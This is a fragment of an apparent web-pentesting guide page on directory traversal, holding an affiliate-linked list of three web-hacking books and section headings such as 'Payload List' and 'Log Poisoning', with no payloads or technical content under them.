Directory TraversalIntigriti

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

The Web Application Hacker’s Handbook The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
Real-World Bug Hunting: A Field Guide to Web Hacking Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.

PreviousCSP Bypass NextFile Upload Attacks

Last updated 29 days ago

PHP

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Value files to target

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Payload List

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Crafting Malicious Image

Zip Upload

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Log Poisoning

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Automated Scanning

Fuzzing parameters

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Tools

Resources

Interesting Books